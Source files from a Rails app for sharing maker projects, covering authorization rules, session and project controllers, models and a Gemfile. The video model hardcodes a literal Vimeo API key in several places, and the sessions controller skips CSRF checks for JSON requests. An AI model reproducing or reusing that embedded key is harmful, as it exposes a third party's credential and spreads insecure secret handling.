can :destroy, Project do |project|
project.users.include? user
end
can :add_users, Project do |project|
project.users.include? user
end
can :remove_user, Project do |project|
project.users.include? user
end
can :categorize, Project do |project|
project.users.include? user
end
can :create_branch, Project do |project|
project.users.include? user
end
can :timemachine, Project do |project|
project.users.include?(user) || user.admin?
end
# USER permissions: user can only edit their own profile
can :edit_profile, User do |current_user|
user == current_user
end
can :update, User do |current_user|
user == current_user
end
# COLLECTIFY permissions: user can only remove projects from collections they've created
can :destroy, Collectify do |collectify|
(collectify.collection.try(:user) == user) || (collectify.project.users.include? user)
end
# COLLECTION permissions: user can only edit and destroy collections they've created
can :update, Collection do |collection|
collection.user == user
end
can :destroy, Collection do |collection|
collection.user == user
end
can :edit, Collection do |collection|
collection.user == user
end
# IMAGE persmissions: users can only edit images from projects they are an author of
can :destroy, Image do |image|
image.project.users.include? user
end
can :create, Image do |image|
image.project.users.include? user
end
# VIDEO permissions: user can only edit videos for projects they are an author of
can :create, Video do |video|
video.project.users.include? user
end
can :destroy, Video do |video|
video.project.users.include? user
end
# DESIGN FILE permissions: user can only edit design files for projects they are an author of
can :create, DesignFile do |designfile|
designfile.project.users.include? user
end
can :destroy, DesignFile do |designfile|
designfile.project.users.include? user
end
# SOUND permissions: user can only edit sounds for projects they are an author of
can :create, Sound do |sound|
sound.project.users.include? user
end
can :destroy, Sound do |sound|
sound.projects.users.include? user
end
# COMMENT permissions: user can only delete comments they've created
can :destroy, Comment do |comment|
comment.user == user
end
# Define abilities for the passed in user here. For example:
#
# user ||= User.new # guest user (not logged in)
# if user.admin?
# can :manage, :all
# else
# can :read, :all
# end
#
# The first argument to `can` is the action you are giving the user
# permission to do.
# If you pass :manage it will apply to every action. Other common actions
# here are :read, :create, :update and :destroy.
#
# The second argument is the resource the user can perform the action on.
# If you pass :all it will apply to every resource. Otherwise pass a Ruby
# class of the resource.
#
# The third argument is an optional hash of conditions to further filter the
# objects.
# For example, here the user can only update published articles.
#
# can :update, Article, :published => true
#
# See the wiki for details:
# https://github.com/ryanb/cancan/wiki/Defining-Abilities
end
end
<file_sep>/app/controllers/sessions_controller.rb
class SessionsController < Devise::SessionsController
skip_before_filter :verify_authenticity_token,
:if => Proc.new { |c| c.request.format == 'application/json' }
respond_to :json
def new
if params[:email]
email = params[:email]
logger.debug("email :#{email}")
flash[:email] = email
end
end
def create
user = User.find_for_authentication(:username=>params[:user][:username])
if user && user.valid_password?(params[:user][:password])
user.last_sign_in_at = Time.now
user.sign_in_count = user.sign_in_count + 1
# generate token if it doesn't exist
if user.authentication_token.blank?
# Rails.logger.debug "generating authentication token for #{user.username} #{user.id}"
new_token = generate_authentication_token
# Rails.logger.debug "new authentication token: #{new_token}"
user.update_column("authentication_token", new_token)
end
render :status => 200,
:json => { :success => true,
:info => "Logged in",
:data => { :auth_token => user.authentication_token } }
# Rails.logger.debug "current user: #{current_user.username} #{current_user.id}"
# Rails.logger.debug "current user authentication_token: #{current_user.authentication_token}"
else
render :status => 401,
:json => { :success => false,
:info => "Login Failed",
:data => {} }
end
# respond_to do |format|
# format.html { super }
# format.xml {
# warden.authenticate!(:scope => resource_name, :recall => "#{controller_path}#new")
# render :status => 200, :xml => { :session => { :error => "Success", :auth_token => current_user.authentication_token }}
# }
# format.json {
# warden.authenticate!(:scope => resource_name, :recall => "#{controller_path}#new")
# render :status => 200, :json => { :session => { :error => "Success", :auth_token => current_user.authentication_token } }
# }
# end
end
def destroy
warden.authenticate!(:scope => resource_name, :recall => "#{controller_path}#failure")
# current_user.update_column(:authentication_token, nil)
render :status => 200,
:json => { :success => true,
:info => "Logged out",
:data => {} }
session[:user_id] = nil
session[:access_token] = nil
# respond_to do |format|
# format.html { super }
# format.xml {
# warden.authenticate!(:scope => resource_name, :recall => "#{controller_path}#new")
# current_user.authentication_token = nil
# render :xml => {}.to_xml, :status => :ok
# }
# format.json {
# warden.authenticate!(:scope => resource_name, :recall => "#{controller_path}#new")
# current_user.authentication_token = nil
# render :json => {}.to_json, :status => :ok
# }
# end
end
def generate_authentication_token
loop do
token = Devise.friendly_token
break token unless User.where(authentication_token: token).first
end
end
def failure
render :status => 401,
:json => { :success => false,
:info => "Login Failed",
:data => {} }
end
def omniauth_failure
if params[:error] && params[:error] == "access_denied"
flash[:error] = "Access denied, try again"
else
flash[:error] = "Access problem: #{params[:error_description]}"
end
redirect_to root_url
end
end
<file_sep>/db/migrate/20130524205531_add_published_on_to_step.rb
class AddPublishedOnToStep < ActiveRecord::Migration
def change
add_column :steps, :published_on, :date
end
end
<file_sep>/app/controllers/projects_controller.rb
class ProjectsController < ApplicationController
before_filter :authenticate_user!, except: [:index, :show, :embed, :builds, :built, :featured, :arts_and_crafts, :clothing, :cooking, :electronics, :mechanical, :other, :search, :imageView, :gallery, :blog, :timemachine]
# GET /projects
# GET /projects.json
def index
if !params[:category].blank?
@projects = Category.where(:name => params[:category]).first.projects.public_projects.order('updated_at DESC').page(params[:projects_page]).per_page(9).includes(:steps, :images)
else
@projects = Project.public_projects.order("updated_at DESC").page(params[:projects_page]).per_page(12).includes(:steps, :images)
end
respond_to do |format|
format.html # index.html.erb
format.js
format.json { render :json => @projects }
end
end
# GET /projects/featured - projects that have been featured
def featured
if !params[:category].blank?
@projects = Category.where(:name => params[:category]).first.projects.public_projects.where(:featured=>true).order('updated_at DESC').page(params[:projects_page]).per_page(9)
else
@projects = Project.public_projects.where(:featured=>true).order("updated_at DESC").page(params[:projects_page]).per_page(9)
end
render :template => "projects/index"
end
# GET /projects/builds - projects that are still in progress
def builds
if !params[:category].blank?
@projects = Category.where(:name => params[:category]).first.projects.public_projects.where(:built=>false).order('updated_at DESC').page(params[:projects_page]).per_page(9)
else
@projects = Project.public_projects.where(:built=> false).order("updated_at DESC").page(params[:projects_page]).per_page(9)
end
render :template =>"projects/index"
end
# GET /projects/built - projects that have been built
def built
if !params[:category].blank?
@projects = Category.where(:name => params[:category]).first.projects.public_projects.where(:built=>true).order('updated_at DESC').page(params[:projects_page]).per_page(9)
else
@projects = Project.public_projects.where(:built=> true).order("updated_at DESC").page(params[:projects_page]).per_page(9)
end
render :template =>"projects/index"
end
# GET /projects/1
# GET /projects/1.json
def show
begin
@project = Project.find_by_id(params[:id])
respond_to do |format|
format.html {redirect_to project_steps_path(@project)}
end
rescue
respond_to do |format|
format.html {redirect_to url_for(:controller => "errors", :action => "show", :code => "404")}
end
end
end
# GET /projects/new
# GET /projects/new.json
def new
@project = Project.new
@project.description = nil
respond_to do |format|
format.html { create }
format.json { create }
end
end
# GET /projects/1/edit
def edit
@project = Project.find(params[:id])
authorize! :edit, @project
end
# POST /projects
# POST /projects.json
def create
@project = Project.new(params[:project])
# set some default values
numUntitled = current_user.projects.where("title like ?", "%Untitled%").count
@project.title = "Untitled-"+ (numUntitled+1).to_s()
@project.built = false
@project.users << current_user
respond_to do |format|
if @project.save
# if user is from village, push project to village
format.html { redirect_to @project }
format.json { render :json => @project, :status => :created, :location => @project }
else
format.html { render :action => "new" }
format.json { render :json => @project.errors, :status => :unprocessable_entity }
end
end
end
# PUT /projects/1
# PUT /projects/1.json
def update
@project = Project.find(params[:id])
authorize! :update, @project
@collections = @project.collections
@collections.each do |collection|
collection.touch
end
respond_to do |format|
if @project.update_attributes(params[:project])
if @project.privacy.blank?
@project.set_published(current_user.id, @project.id, nil)
elsif @project.title.downcase.include? "untitled"
@project.set_published(current_user.id, @project.id, nil)
end
if @project.public? && @project.village_id.blank? && current_user.from_village? && !access_token.blank?
Rails.logger.debug("creating village project")
create_village_project(@project.id)
elsif @project.published? && @project.village_id.present? && current_user.from_village? && access_token.present?
Rails.logger.debug("updating village project")
update_village_project(@project.id)
end
format.html { redirect_to @project, :notice => 'Project was successfully updated.' }
format.js
format.json { head :no_content }
else
format.html { render :action => "edit" }
format.json { render :json => @project.errors, :status => :unprocessable_entity }
end
end
end
# DELETE /projects/1
# DELETE /projects/1.json
def destroy
@project = Project.find(params[:id])
authorize! :destroy, @project
# delete activities having to do with the project
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Project", @project.id).destroy_all
@project.questions.each do |question|
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "Question", question.id).destroy_all
end
# delete all favorites
favorite_entry = FavoriteProject.where(:user_id=>current_user.id).where(:project_id => @project.id).first
if favorite_entry
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "FavoriteProject", favorite_entry.id).destroy_all
end
# delete all collectifies
Collectify.where(:project_id=>@project.id).each do |collectify|
collectify.destroy
end
@project.steps.each do |step|
PublicActivity::Activity.where(:trackable_id => step.id).destroy_all
end
if !@project.village_id.blank?
# delete project on the village
destroy_village_project(@project.village_id)
end
# if project has descendants, set their remix_ancestry to nil or project's ancestor
@project.descendants.each do |descendant|
if @project.remix_ancestry == nil
descendant.update_column("remix_ancestry", nil)
else
descendant.update_column("remix_ancestry", @project.remix_ancestry)
end
end
# remove the log for project
s3 = AWS::S3.new(:access_key_id => ENV['AWS_ACCESS_KEY_ID'], :secret_access_key => ENV['AWS_ACCESS_KEY'])
key = "logs/" + @project.id.to_s + ".json"
s3.buckets[ENV['AWS_BUCKET']].objects.with_prefix(key).delete_all
@project.destroy
respond_to do |format|
format.html { redirect_to user_path(current_user.username) }
format.json { head :no_content }
end
end
# editTitle /project/1/editTitle
def editTitle
@projectID = params[:projectID]
respond_to do |format|
logger.debug("edit Title")
format.js
end
end
# PUT /projects/1/embed
# Embed code for displaying Build-in-Progress project on another site
def embed
@project = Project.find(params[:id])
@steps = @project.steps.order("position")
@ancestry = @steps.pluck(:ancestry) # array of ancestry ids for all steps
respond_to do |format|
format.html {render :layout=> false}
format.js
end
end
# GET /project/1/imageView
# imageView view of project
def imageView
@project = Project.find(params[:id])
redirect_to gallery_project_url(@project)
end
# GET /projects/1/galery
# gallery view of project
def gallery
@project = Project.find(params[:id])
end
# GET /projects/1/blog
# blog view of project
def blog
@project = Project.find(params[:id])
end
# GET /projects/1/export
# Expot a zip of a project page
def export
@project = Project.find(params[:id])
@project.export
if current_user && @project.users.include?(current_user)
current_user.touch
end
send_file "#{Rails.root}/tmp/zips/#{@project.id}-#{@project.title.delete(' ')}.zip"
end
# GET /project/1/export_txt
# Export a txt file of a project page
def export_txt
@project = Project.find(params[:id])
@project.export_txt
send_file "#{Rails.root}/tmp/txt/#{@project.id}.txt"
end
# Add and remove favorite projects for current user
def favorite
type=params[:type]
@project = Project.find(params[:id])
if type=="favorite"
if current_user.favorites.include?(@project) == false
current_user.favorites << @project
end
@project.users.each do |user|
@activity = @project.favorite_projects.last.create_activity :create, owner: current_user, recipient: user, primary: true
# create email notification
if user.settings(:email).favorited == true
NotificationMailer.delay.notification_message(@activity, user)
end
end
elsif type=="unfavorite"
favorite_entry = FavoriteProject.where(:user_id=>current_user.id).where(:project_id => @project.id).first
PublicActivity::Activity.where("trackable_type = ? AND trackable_id = ?", "FavoriteProject", favorite_entry.id).destroy_all
current_user.favorites.delete(@project)
end
redirect_to :back
end
# Create remix
def remix
@project = Project.find(params[:id])
@remix_project = @project.remix(current_user)
respond_to do |format|
format.html {
redirect_to @remix_project
}
end
end
# find users to add to a project using the EditProjectAuthors Modal Form
# params[:input] - string user has inputted into the search field
# params[:project_id] - the id of the project being edited
def find_users
input = params[:input]
project = Project.find(params[:project_id])
# find all usernames that start with the input
search_results = Array.new
# first, filter by usernames that start with a particular letter
User.pluck(:username).sort_by(&:downcase).select{|user| user[0,1]==input[0,1]}.each do |username|
user = User.where(:username=>username).first
if username.starts_with?(input) && project.users.include?(user) == false
user_array = Array.new
user_array.push(username)
if user.avatar.present?
user_array.push(user.avatar_url(:thumb))
else
user_array.push(ActionController::Base.helpers.asset_path("default_avatar.png"))
end
search_results.push(user_array)
end
end
respond_to do |format|
format.json {render :json => search_results}
end
end
# add users to a project
# params[:users] - an array of usernames that are being added to the project
# params[:project_id] - the id of the project being edtied
def add_users
users = params[:users]
project = Project.find(params[:project_id])
authorize! :add_users, project
users.each do |user|
new_user = User.where(:username=>user).first
if !project.users.pluck(:username).include? user
project.users << new_user
# create activity
@activity = project.create_activity :author_add, owner: current_user, recipient: new_user, primary: true
# create mailer
if new_user.settings(:email).collaborator == true
NotificationMailer.delay.notification_message(@activity, new_user)
end
end
end
if project.village_id.blank? && current_user.from_village? && project.public? && !access_token.blank?
create_village_project(project.id)
elsif !project.village_id.blank? && !access_token.blank?
update_village_project(project.id)
end
respond_to do |format|
format.json {render :json => true}
end
end
# remove user from a project
# params[:user] - the usernames that is being removed from the project
# params[:project_id] - the id of the project being edtied
def remove_user
username = params[:username]
@project = Project.find(params[:project_id])
Rails.logger.debug("in remove_user")
authorize! :remove_user, @project
@project_user = User.where(:username=>username).first
@project.users.delete(@project_user)
# remove activity
PublicActivity::Activity.where("key = ? and trackable_id = ? and recipient_id = ?", "project.author_add", @project, @project_user.id).destroy_all
if @project_user.from_village? && @project.village_id.present?
update_village_project(@project.id)
end
respond_to do |format|
format.json {render :json => true}
end
end
# create village project
def create_village_project(project_id)
@project = Project.find(project_id)
iframe_src = "<iframe src='" + root_url.sub(/\/$/, '') + embed_project_path(@project) + "' width='555' height='490'></iframe><p>This project created with <b><a href='" + root_url + "'>#{ENV[APP_NAME]}</a></b> and updated on " + Time.now.strftime("%A, %B %-d at %-I:%M %p") +"</p>"
iframe_src = iframe_src.html_safe.to_str
village_user_ids = @project.village_user_ids
response = access_token.post("/api/projects", params: {project: {name: @project.title, project_type_id: 15, source: "original", description: iframe_src, thumbnail_file_id: 764899, user_ids: village_user_ids} })
village_project_id = response.parsed["project"]["id"]
@project.update_attributes(:village_id => village_project_id)
end
# update a project on the village
def update_village_project(project_id)
logger.debug("in update village project")
@project = Project.find(project_id)
iframe_src = "<iframe src='" + root_url.sub(/\/$/, '') + embed_project_path(@project) + "' width='575' height='485'></iframe><p>This project created with <b><a href='" + root_url + "'>#{ENV["APP_NAME"]}</a></b> and updated on " + Time.now.strftime("%A, %B %-d at %-I:%M %p") +"</p>"
iframe_src = iframe_src.html_safe.to_str
village_user_ids = @project.village_user_ids
logger.debug("village_user_ids: #{village_user_ids}")
logger.debug("access_token: #{access_token}")
response = access_token.put("/api/projects/" + @project.village_id.to_s, params: {project: {name: @project.title, description: iframe_src, user_ids: village_user_ids }})
end
# delete project from village if it's deleted
def destroy_village_project(village_id)
# Rails.logger.debug('trying to delete village project')
# Rails.logger.debug('village delete url: ' + "api/projects/"+village_id.to_s)
if(access_token)
response = access_token.delete("api/projects/"+village_id.to_s)
end
# Rails.logger.debug('deleted project on village')
end
# apply category to project
def categorize
@project = Project.find(params[:id])
authorize! :categorize, @project
logger.debug "#{params}"
arts_and_crafts = params[:arts_and_crafts]
clothing = params[:clothing]
cooking = params[:cooking]
electronics = params[:electronics]
mechanical = params[:mechanical]
other = params[:other]
arts_and_crafts_category = Category.where(:name => "Arts & Crafts").first
clothing_category = Category.where(:name => "Clothing").first
cooking_category = Category.where(:name => "Cooking").first
electronics_category = Category.where(:name => "Electronics").first
mechanical_category = Category.where(:name => "Mechanical").first
other_category = Category.where(:name => "Other").first
if arts_and_crafts == "1" and !@project.categories.include?(arts_and_crafts_category)
arts_and_crafts_category.categorizations.create!(:project_id => @project.id)
elsif arts_and_crafts != "1" and @project.categories.include?(arts_and_crafts_category)
Categorization.where("category_id = ? AND project_id = ?", arts_and_crafts_category.id, @project.id).first.destroy
end
if clothing == "1" and !@project.categories.include?(clothing_category)
clothing_category.categorizations.create!(:project_id => @project.id)
elsif clothing != "1" and @project.categories.include?(clothing_category)
Categorization.where("category_id = ? AND project_id = ?", clothing_category.id, @project.id).first.destroy
end
if cooking == "1" and !@project.categories.include?(cooking_category)
cooking_category.categorizations.create!(:project_id => @project.id)
elsif cooking != "1" and @project.categories.include?(cooking_category)
Categorization.where("category_id = ? AND project_id = ?", cooking_category.id, @project.id).first.destroy
end
if electronics == "1" and !@project.categories.include?(electronics_category)
electronics_category.categorizations.create!(:project_id => @project.id)
elsif electronics != "1" and @project.categories.include?(electronics_category)
Categorization.where("category_id = ? AND project_id = ?", electronics_category.id, @project.id).first.destroy
end
if mechanical == "1" and !@project.categories.include?(mechanical_category)
mechanical_category.categorizations.create!(:project_id => @project.id)
elsif mechanical != "1" and @project.categories.include?(mechanical_category)
Categorization.where("category_id = ? AND project_id = ?", mechanical_category.id, @project.id).first.destroy
end
if other == "1" and !@project.categories.include?(other_category)
other_category.categorizations.create!(:project_id => @project.id)
elsif other != "1" and @project.categories.include?(other_category)
Categorization.where("category_id = ? AND project_id = ?", other_category.id, @project.id).first.destroy
end
respond_to do |format|
format.html { redirect_to @project, :notice => 'Project was successfully updated.' }
format.js
format.json { render :json => true }
end
end
def search
@search_term = params[:search]
@projects = params[:search_results]
if !@projects.nil?
@projects = @projects.collect{|s| s.to_i}
end
search_category = params[:category]
@projects_text = params[:search_text]
@project_count = params[:project_count] ||= "0"
@collection_count = params[:collection_count] ||= "0"
@user_count = params[:user_count] ||= "0"
if !search_category.blank? && search_category != "All Categories"
category = Category.where(:name=>search_category).first
c_filtered_projects = []
search_count = 0
@projects.each do |project|
project = Project.find(project.to_i)
if project.categories.include?(category)
c_filtered_projects = c_filtered_projects << project
search_count = search_count + 1
end
end
@projects = c_filtered_projects
@project_count = search_count.to_s
end
if !params[:type].blank? && params[:type] != "All Projects"
search_count = 0
t_filtered_projects = []
if params[:type] == "Featured Projects"
@projects.each do |project|
if project.class == Fixnum
project = Project.find(project)
end
if project.featured == true
t_filtered_projects = t_filtered_projects << project
search_count = search_count + 1
end
end
elsif params[:type] == "Builds in Progress"
@projects.each do |project|
if project.class == Fixnum
project = Project.find(project)
end
if project.built == false
t_filtered_projects = t_filtered_projects << project
search_count = search_count + 1
end
end
elsif params[:type] == "Built Projects"
@projects.each do |project|
if project.class == Fixnum
project = Project.find(project)
end
if project.built == true
t_filtered_projects = t_filtered_projects << project
search_count = search_count + 1
end
end
end
@projects = t_filtered_projects
@project_count = search_count.to_s
end
respond_to do |format|
format.html
format.js
format.json { render :json => @projects }
end
end
# add new log entry for reordering steps in process map
def log
Project.find(params[:id]).log
respond_to do |format|
format.js {render nothing: true}
end
end
def update_privacy
@project = Project.find(params[:id])
Project.record_timestamps = false
@project.update_attributes(:privacy => params[:privacy])
Project.record_timestamps = true
if params[:privacy] == "private"
# remove project from any collections
collectifies = Collectify.where(:project_id => @project.id)
collectifies.each do |collectify|
authorize! :destroy, Collectify.find(collectify.id)
PublicActivity::Activity.where(:trackable_id => collectify.id).destroy_all
collectify.collection.remove!(@project)
if !collectify.collection.published?
collectify.collection.update_attributes(:published=>false)
PublicActivity::Activity.where(:trackable_id => @collection).destroy_all
end
end
end
respond_to do |format|
format.html{
redirect_to @project
}
end
end
# check_privacy | returns whether or not a project is public, private, or unlisted
def check_privacy
project_privacy = ""
project_title = ""
uri = URI(params[:project_url])
project_id = uri.path.match('\/projects\/\d+\/').to_s.match('\d+').to_s
if project_id == ""
project_id = uri.path.split('/').last.to_s
end
if project_id != ""
@project = Project.find(project_id)
project_name = @project.title
project_privacy = @project.privacy
if !project_privacy
project_privacy = "unpublished"
end
end
response_json = {"project_name" => project_name, "project_privacy" => project_privacy}
respond_to do |format|
format.json {render :json => response_json}
end
end
# log viewer for project
def timemachine
@project = Project.find(params[:id])
authorize! :timemachine, @project
@steps = @project.steps.order("position")
@numSteps = @steps.count
@ancestry = @steps.pluck(:ancestry) # array of ancestry ids for all steps
@allBranches # variable for storing the tree structure of the process map
# fetch the log from aws
s3 = AWS::S3.new(:access_key_id => ENV['AWS_ACCESS_KEY_ID'], :secret_access_key => ENV['AWS_ACCESS_KEY'])
key = "logs/" + @project.id.to_s + ".json"
obj = s3.buckets[ENV['AWS_BUCKET']].objects[key]
if obj.exists?
@project_json = JSON.parse(obj.read)
# create thumbnails array containing image information for each log
@thumbnails = []
@project_json["data"].each do |log_entry|
step_ids = log_entry["steps"].map(&:first).map(&:last)
img_array = @project.thumbnail_images(step_ids)
@thumbnails << img_array
end
puts @thumbnails
else
redirect_to @project
end
end
end<file_sep>/app/controllers/sounds_controller.rb
class SoundsController < ApplicationController
before_filter :authenticate_user!, except: [:embed_code]
def create
@project = Project.find(params[:sound][:project_id])
soundcloud_id = params[:soundcloud_id]
Rails.logger.debug("soundcloud_id #{soundcloud_id}")
# replace embed_url with iframe embed url
params[:sound][:embed_url] = "https://w.soundcloud.com/player/?url=http%3A%2F%2Fapi.soundcloud.com%2Ftracks%2F"+soundcloud_id+""
@sound = Sound.create(params[:sound])
# create a new image record using the thumbnail image
thumbnail = @sound.thumbnail_url
position = @project.images.where(:step_id=>@sound.step_id).count
@image = Image.new(:step_id=>@sound.step_id, :image_path=>"", :project_id=>@sound.project_id,
:saved=>true, :position=> position, :sound_id=> @sound.id)
@image.update_attributes(:remote_image_path_url=>thumbnail)
@image.save
respond_to do |format|
if @sound.save
@sound.update_attributes(:image_id=>@image.id)
format.js {render 'images/create'}
else
Rails.logger.info(@sound.errors.inspect)
format.json { render :json => @sound.errors, :status => :unprocessable_entity }
end
end
end
end
<file_sep>/db/migrate/20130712162507_change_remix_id_to_string.rb
class ChangeRemixIdToString < ActiveRecord::Migration
def up
change_column :projects, :remix_id, :string
end
def down
end
end
<file_sep>/app/views/steps/index.xml.builder
xml.instruct!
xml.project do
xml.project_name @project['title']
xml.steps do
@project.steps.each do |step|
xml.step do
xml.step_name step['name']
xml.step_description step['description'].gsub(/<.+?>/, '')
xml.step_images do
step.images.each do |image|
xml.step_image image.file
end
end
end
end
end
end<file_sep>/app/models/collection.rb
class Collection < ActiveRecord::Base
include PublicActivity::Common
include ActionView::Helpers::SanitizeHelper
extend FriendlyId
friendly_id :name, use: [:slugged, :history]
belongs_to :user, :touch=> true
default_scope -> { order('updated_at DESC') }
validates :user_id, presence: true
has_many :collectifies, :dependent => :destroy
has_many :projects, :through => :collectifies
attr_accessible :description, :name, :published, :image, :challenge, :privacy
mount_uploader :image, CollectionImagePathUploader
validates :name, presence: true, uniqueness: true
scope :published, where(:published=>true)
scope :private_collections, where(:privacy => "private")
scope :unlisted_collections, where(:privacy => "unlisted")
scope :public_collections, where(:privacy => "public")
searchable do
text :description, :stored => true do
strip_tags(description)
end
boolean :published
end
def published?
published = false
# collections are published if they have a name and more than 1 project
if !name.starts_with?("Untitled")
if projects.public_projects.count > 0
published = true
end
end
return published
end
def challenge?
self.challenge
end
def remove!(project)
collectifies.where(project_id: project.id).first.delete
if published?
update_attributes(:published=>true)
else
update_attributes(:published=>false)
end
end
def public?
self.privacy == "public"
end
def private?
self.privacy == "private"
end
def unlisted?
self.privacy == "unlisted"
end
# an array of users that includes the author of the collection and authors of
# any of the projects in a colelction
def collection_users
users = Array.new
users << self.user
self.projects.each do |project|
project.users.each do |user|
unless users.include? user
users << user
end
end
end
return users
end
end
<file_sep>/app/models/category.rb
class Category < ActiveRecord::Base
validates_uniqueness_of :name
attr_accessible :name
has_many :categorizations, :dependent => :destroy
has_many :projects, :through => :categorizations
end
<file_sep>/app/mailers/mail_preview.rb
class MailPreview < MailView
def notification_message
# COMMENT TESTING
# @activity = PublicActivity::Activity.find(496)
# FEATURED PROJECT TESTING
@activity = PublicActivity::Activity.find(487)
# COLLABORATOR TESTING
# @activity = PublicActivity::Activity.find(490)
# FAVORITED TESTING
# @activity = PublicActivity::Activity.find(489)
# COLLECTION TESTING - RECIPIENT
# @activity = PublicActivity::Activity.find(485)
# COLLECTION TESTING - OWNER
# @activity = PublicActivity::Activity.find(569)
# USER FOLLOW TESTING
# @activity = PublicActivity::Activity.find(491)
# REMIX TESTING
# @activity = PublicActivity::Activity.find(492)
user = @activity.recipient
NotificationMailer.notification_message(@activity, user)
end
def user_mailer
user = User.find(1)
UserMailer.welcome_email(user)
end
def survey_mailer
user = User.find(1)
SurveyMailer.survey_message(user)
end
end<file_sep>/Gemfile
source 'https://rubygems.org'
ruby "2.1.7"
gem 'rails', '3.2.15'
gem 'rails_autolink'
# Bundle edge Rails instead:
# gem 'rails', :git => 'git://github.com/rails/rails.git'
gem 'pg'
gem 'json'
gem 'sunspot_rails', '=2.2.0'
gem 'sunspot_solr', '=2.2.0'
#gem 'rmagick'
gem 'mini_magick', '~>3.6.0'
gem 'devise', '=3.1.1'
gem 'cancan'
gem "acts_as_follower", '~> 0.1.1'
# Gems used only for assets and not required
# in production environments by default.
group :assets do
gem 'sass-rails'
gem 'coffee-rails'
gem 'uglifier', '>= 1.0.3'
end
gem 's3_direct_upload'
gem 'jquery-fileupload-rails'
gem 'public_activity'
gem 'jquery-ui-rails'
gem 'jquery-rails'
gem "meta_search"
gem 'friendly_id'
gem 'gon'
gem 'formtastic', '~>2.2.1'
gem 'carrierwave', '~>0.9.0'
gem "font-awesome-rails"
gem 'font_assets'
gem 'ancestry', :path => 'ancestry-2.1.0'
gem 'bootstrap-sass', '~> 2.3.2.2'
# To use ActiveModel has_secure_password
# gem 'bcrypt-ruby', '~> 3.0.0'
# To use Jbuilder templates for JS
# gem 'jbuilder'
gem 'thin'
gem 'hirb'
gem 'will_paginate'
gem "fog", :git => 'https://github.com/fog/fog.git'
gem 'sinatra'
gem 'slim'
gem 'acts_as_commentable_with_threading'
gem 'rufus-scheduler'
gem 'acts_as_api'
gem 'fancybox2-rails'
# for external api requests
gem 'httparty'
gem 'deep_cloneable', '=1.5.5'
gem 'unicorn'
gem 'bootstrap-timepicker-rails'
gem 'video_info', '=2.5.0'
gem 'streamio-ffmpeg', '1.0.0'
gem 'carrierwave-video'
gem 'carrierwave-video-thumbnailer'
gem 'soundcloud'
gem 'mime-types'
gem 'best_in_place', '3.0.3'
gem 'textilize'
gem 'rest_in_place'
gem 'newrelic_rpm'
gem 'aws-sdk-v1'
gem 'unf'
gem 'browser'
gem 'mini_exiftool_vendored'
gem 'omniauth-oauth2'
gem 'factory_girl_rails', '4.2.1', :require => false
gem 'rspec-rails', '~> 3.0.0.beta'
gem 'faker'
gem 'jquery-simplecolorpicker-rails', '0.5.0'
gem 'mail_view', :git => 'https://github.com/basecamp/mail_view.git'
gem 'roadie-rails', '~> 1.0.2'
gem 'ledermann-rails-settings', '=2.3.0'
gem 'quiet_assets', group: :development
gem 'rack-canonical-host'
gem 'rubyzip'
gem 'htmlentities'
gem 'dalli'
gem 'memcachier'
gem "mediaelement_rails"
gem 'puma'
gem "omniauth-google-oauth2"
gem 'chart-js-rails'
gem 'groupdate'
gem 'chartkick'
gem 'delayed_job_active_record'
gem "daemons"
# Use unicorn as the app server
# gem 'unicorn'
# Deploy with Capistrano
# gem 'capistrano'
# To use debugger
# gem 'ruby-debug'<file_sep>/app/models/video.rb
require 'httparty'
class Video < ActiveRecord::Base
# maybe we should add a title attribute to the video?
attr_accessible :position, :project_id, :step_id, :image_id, :saved, :embed_url, :thumbnail_url, :video_path, :user_id, :rotation, :remote_video_path_url
mount_uploader :video_path, VideoPathUploader
# position videos before images...
# show video thumbnails, make them sortable.
# maybe video and images should be based around a polymorphic
# association with steps and projects.
# or maybe they should just belong to steps, and be related
# to projects with has_many :videos, :through => :steps
belongs_to :step
belongs_to :project
belongs_to :user, :touch=>true
belongs_to :image
validate :url_is_from_approved_site?, if: :embedded?
def url_is_from_approved_site?
approved_sites = ["youtube", "vimeo"]
valid = false
approved_sites.each do |site|
if embed_url.downcase.include?(site)
valid = true
end
end
return valid
end
# checks if the video is embedded
def embedded?
return embed_url && !embed_url.empty?
end
# returns the embed code of a video from the embed_url
# '<iframe src="http://www.youtube.com/embed/mZqGqE0D0n4" frameborder="0" allowfullscreen="allowfullscreen"></iframe>'"
def embed_code
if url_is_from_approved_site?
VideoInfo.provider_api_keys = {vimeo: '7219e68114dd5e1d0ecf20dbbffb06e1' }
return VideoInfo.get(embed_url).embed_code
else
return false
end
end
def youtube?
!embed_url.nil? and embed_url.include?("youtube")
end
def vimeo?
!embed_url.nil? and embed_url.include?("vimeo")
end
def vid_id
VideoInfo.provider_api_keys = {vimeo: '7219e68114dd5e1d0ecf20dbbffb06e1' }
vid_id = VideoInfo.get(embed_url).video_id
return vid_id
end
# get thumbnail url for preview image of video
def thumb_url
# first see if we have a cached thumbnail
if thumbnail_url
return thumbnail_url
else
Rails.logger.debug("embed_url: #{embed_url}")
if self.youtube?
thumbnail_url = "http://i1.ytimg.com/vi/"+self.vid_id+"/hqdefault.jpg"
elsif self.vimeo?
VideoInfo.provider_api_keys = {vimeo: '7219e68114dd5e1d0ecf20dbbffb06e1' }
Rails.logger.debug("thumbnail_url: #{VideoInfo.new(embed_url).thumbnail_large}")
thumbnail_url = VideoInfo.new(embed_url).thumbnail_large
end
end
# save the new thumbnail
if thumbnail_url
save
end
return thumbnail_url
end
# script for adding user id to video after migration
def add_user
user_id = step.users.first.id
update_attributes(:user_id => user_id)
end
end<file_sep>/config/initializers/public_activity.rb
PublicActivity::Activity.class_eval do
attr_accessible :created_at, :primary, :viewed
before_create :init
# script for generating primary attribute for existing comments
def update_primary
PublicActivity::Activity.all.each do |activity|
if activity.trackable_type == "Comment"
if activity.trackable.commentable.user != activity.recipient
activity.update_attributes(:primary=>false)
else
activity.update_attributes(:primary=>true)
end
else
activity.update_attributes(:primary=>true)
end
end
end
# script for updating the notification viewed boolean
def update_viewed
PublicActivity::Activity.all.each do |activity|
if activity.recipient && activity.recipient.notifications_viewed_at > activity.created_at
activity.update_attributes(:viewed=>true)
else
activity.update_attributes(:viewed=>false)
end
end
end
# called after public activity is created
def init
# set the viewed to false by default
self.viewed = false if self.viewed.nil?
end
# cover activities from projects that are private or unlisted
def is_private?
( (key == "project.feature_public" && trackable.present? && trackable.private?) ||
(trackable_type == "Step" && trackable.present? && trackable.project.private?) ||
(trackable_type == "Project" && trackable.present? && trackable.private?) ||
